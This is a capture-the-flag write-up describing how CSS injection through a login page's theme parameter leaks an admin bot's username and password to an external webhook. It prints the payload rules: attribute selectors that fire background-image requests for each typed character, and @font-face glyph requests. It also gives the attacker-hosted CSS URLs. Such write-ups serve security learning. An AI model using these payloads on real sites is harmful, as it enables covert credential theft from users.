Fancy Login Form
📜 Challenge Summary
We were given a login form with a “report to admin” function.
When you click Report, the current URL is sent to /report.php, and the challenge bot (acting as admin) visits that URL in a browser to “check issues.”
The target form:
- Has username and password inputs
- Loads a dynamic CSS theme from the
themeGET parameter, e.g.:https://fancy-login-form.ctf.zone/?theme=css/ocean
- Allows external CSS files via that parameter (XSS-like vector in CSS)
🔍 Recon
Key observations:
- The password field had JavaScript syncing its
.valueattribute as the user typed:inp.setAttribute('value', inp.value)→ This means CSS attribute selectors like
input[type="password"][value$="a"]can detect the last typed character in real time.
- The username field didn’t update
.valuedynamically, so the same trick wouldn’t work there.
- CSS was loaded from an unvalidated external URL — perfect for CSS injection.
💡 Exploitation Plan
We used two different CSS-based exfiltration techniques:
1. Stealing the Password (CSS Attribute Selector Leak)
- Hosted
passsteal.csson GitHub Pages.
- For every possible character (a–z, A–Z, 0–9, symbols), added a CSS rule:
#password[value$="a"], input[type="password"][value$="a"] { background-image: url(https://webhook-test.com/…?type=p&char=a); }
- When the admin bot typed the password, the selector for the last character matched, triggering an HTTP request to our webhook with that character.
- Repeated for the whole password as the bot typed → got
F0x13foXtrOT&Elas7icBe4n5.
2. Stealing the Username (CSS @font-face Glyph Exfiltration)
- Hosted
usersteal.csson GitHub Pages.
- Applied a custom font to the username input:
#username { font-family: exfil, sans-serif !important; }
- Defined
@font-facerules for each possible glyph:@font-face { font-family: exfil; src: url(https://webhook-test.com/…?type=u&char=a); unicode-range: U+0061; }
- When the browser renders each typed letter, it requests the corresponding glyph file — leaking which characters are in the username.
Limitations:
This method leaks the set of characters, not the order or duplicates.
From the set {a,d,i,m,n} turned out to be just admin.
🛠 Execution
- Created
passsteal.cssandusersteal.csswith respective exfil rules.
- Hosted both on GitHub Pages:
https://temporaryaccountforkb.github.io/passsteal.css https://temporaryaccountforkb.github.io/usersteal.css
- Sent two separate report links to the admin bot:
- One with
?theme=usersteal.cssto leak the username set.
- One with
?theme=passsteal.cssto leak the password sequentially.
- One with
- Combined results → username:
admin, password:F0x13foXtrOT&Elas7icBe4n5.
- Logged in and retrieved the flag.
📦 Final Answer
- Username:
admin
- Password:
F0x13foXtrOT&Elas7icBe4n5
- Flag: ✅ (redacted here)
🧠 Takeaways
- CSS injection can be used for data exfiltration without JS.
- Attribute selectors + dynamic
.valuesyncing → sequential keystroke leaks.
@font-face+unicode-range→ character set leaks from static fields.
- Even if JS is disabled or CSP is strict, CSS-only attacks can still break confidentiality.